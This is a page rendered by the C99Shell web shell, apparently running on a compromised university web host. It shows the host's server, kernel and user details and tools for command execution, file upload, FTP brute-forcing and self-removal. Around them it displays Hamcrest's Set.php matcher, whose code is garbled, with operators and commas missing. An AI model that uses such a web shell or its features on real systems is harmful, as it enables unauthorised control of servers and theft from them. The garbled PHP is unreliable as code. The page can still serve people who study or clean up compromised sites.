!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/   drwxr-xr-x
Free 117.42 GB of 200.55 GB (58.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Set.php (2.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest\Core;

/*
 Copyright (c) 2010 hamcrest.org
 */
use Hamcrest\BaseMatcher;
use 
Hamcrest\Description;

/**
 * Tests if a value (class, object, or array) has a named property.
 *
 * For example:
 * <pre>
 * assertThat(array('a', 'b'), set('b'));
 * assertThat($foo, set('bar'));
 * assertThat('Server', notSet('defaultPort'));
 * </pre>
 *
 * @todo Replace $property with a matcher and iterate all property names.
 */
class Set extends BaseMatcher
{

    private 
$_property;
    private 
$_not;

    public function 
__construct($property$not false)
    {
        
$this->_property $property;
        
$this->_not $not;
    }

    public function 
matches($item)
    {
        if (
$item === null) {
            return 
false;
        }
        
$property $this->_property;
        if (
is_array($item)) {
            
$result = isset($item[$property]);
        } elseif (
is_object($item)) {
            
$result = isset($item->$property);
        } elseif (
is_string($item)) {
            
$result = isset($item::$$property);
        } else {
            throw new \
InvalidArgumentException('Must pass an object, array, or class name');
        }

        return 
$this->_not ? !$result $result;
    }

    public function 
describeTo(Description $description)
    {
        
$description->appendText($this->_not 'unset property ' 'set property ')->appendText($this->_property);
    }

    public function 
describeMismatch($itemDescription $description)
    {
        
$value '';
        if (!
$this->_not) {
            
$description->appendText('was not set');
        } else {
            
$property $this->_property;
            if (
is_array($item)) {
                
$value $item[$property];
            } elseif (
is_object($item)) {
                
$value $item->$property;
            } elseif (
is_string($item)) {
                
$value $item::$$property;
            }
            
parent::describeMismatch($value$description);
        }
    }

    
/**
     * Matches if value (class, object, or array) has named $property.
     *
     * @factory
     */
    
public static function set($property)
    {
        return new 
self($property);
    }

    
/**
     * Matches if value (class, object, or array) does not have named $property.
     *
     * @factory
     */
    
public static function notSet($property)
    {
        return new 
self($propertytrue);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.023 ]--